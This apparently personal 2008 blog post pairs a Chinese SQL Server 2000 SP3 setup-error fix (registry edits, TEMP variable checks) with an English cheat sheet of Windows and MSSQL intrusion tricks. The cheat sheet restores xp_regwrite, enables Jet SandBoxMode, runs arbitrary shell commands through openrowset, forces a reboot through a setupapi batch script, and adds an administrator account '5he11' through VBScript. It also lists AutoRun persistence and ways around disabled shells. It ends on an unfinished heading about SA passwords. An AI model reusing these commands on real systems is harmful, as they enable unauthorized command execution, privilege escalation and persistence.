7/08/2008

在安装 SQL Server 2000 Service Pack 3 时可能收到错误消息“Setup was unable to validate the logged user”(安装程序无法验证登录的用户)

方法 1

将注册表项 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\Client\ConnectTo\DSQUERY 的值更改为 DBNETLIB。要更改此值,请按照下列步骤操作:
1.在“开始”菜单上,单击“运行”。
2.键入“Regedit”,然后单击“确定”。
3.在“注册表编辑器”中,找到以下注册表项路径:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\Client\ConnectTo
4.在“注册表编辑器”的右窗格中,双击“DSQUERY”项。
5.在“编辑字符串”对话框的“数值数据”文本框中,键入 DBNETLIB,然后单击“确定”。
6.关闭“注册表编辑器”。

方法 2

确保将注册表项 NtfsDisable8dot3NameCreation 设置为 0。该值为 0 可确保能够使用短名称访问带有空格的文件夹。要设置该注册表项,请按照下列步骤操作:
1.在“开始”菜单上,单击“运行”。
2.键入“Regedit”,然后单击“确定”。
3.在“注册表编辑器”中,找到以下注册表项路径:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem
4.在“注册表编辑器”的右侧,双击“NtfsDisable8dot3NameCreation”项。
5.在“编辑字符串”对话框中的“数值数据”文本框中,键入 0。单击“确定”。
6.关闭“注册表编辑器”。
确保 TEMP 或 TMP 环境变量没有空格。要确认这一点,请按照下列步骤操作:
1.右键单击“我的电脑”,然后单击“属性”。
2.在“高级”选项卡上,单击“环境变量”。
3.在“ 的用户变量”列表中,选择“TMP”,然后单击“编辑”。确保“变量值”文本框中没有空格,尤其是没有任何尾随空格,然后单击“确定”。
4. 选择“TEMP”,然后单击“编辑”。确保“变量值”文本框中没有空格,尤其是没有任何尾随空格,然后单击“确定”。
5.如果任一变量值有空格,请创建一个新的没有任何空格的临时文件夹(例如,C:\Temp),然后将其指定为 TEMP 和 TMP 环境变量的变量值。

some stuff about Windows NT operating system

set a Auto-Exec script when shell open
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor\AutoRun

the connection history of MSTSC
HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default

When Shell or Regedit are disabled
GPEDIT.MSC进入组策略编辑器>用户配置>管理模板>系统>阻止访问命令提示符策略,将其设定为未配置

reg FSO
RegSvr32 C:\WINNT\SYSTEM32\scrrun.dll /s

execute command with xp_regwrite only

select @@version
--check the version of this MSSQL database server first

dbcc addextendedproc ("xp_regwrite","xpstar.dll")
--restore xp_rewrite by using xpstar.dll if it does not exist
--MSSQL 2005 should use xpstar90.dll

exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
--write to reg

select * from openrowset('microsoft.jet.oledb.4.0',';database=ias\ias.mdb','select shell("cmd.exe /c YOUR COMMAND HERE")')



restart windows:
echo @ECHO OFF ^& cd/d %temp% ^& echo [version] ^> {out}.inf>a.bat
echo (set inf=InstallHinfSection DefaultInstall)>>a.bat
echo echo signature=$chicago$ ^>^> {out}.inf>>a.bat
echo echo [defaultinstall] ^>^> {out}.inf>>a.bat
echo rundll32 setupapi,%inf% 1 %temp%\{out}.inf>>a.bat
a.bat

Add administrator user account without net1.exe
echo dim username,password:If Wscript.Arguments.Count > 0 Then:username=Wscript.Arguments(0):password=Wscript.Arguments(1):Else:username="5he11":password="123456":end if:set wsnetwork=CreateObject("WSCRIPT.NETWORK"):os="WinNT://"^&wsnetwork.ComputerName:Set ob=GetObject(os):Set oe=GetObject(os^&"/Administrators,group"):Set od=ob.Create("user",username):od.SetPassword password:od.SetInfo:Set of=GetObject(os^&"/"^&username^&",user"):oe.Add(of.ADsPath)'wscript.echo of.ADsPath >cz.vbs
cscript cz.vbs
del cz.vbs



change the password of SA in MSSQL database server by using SQL command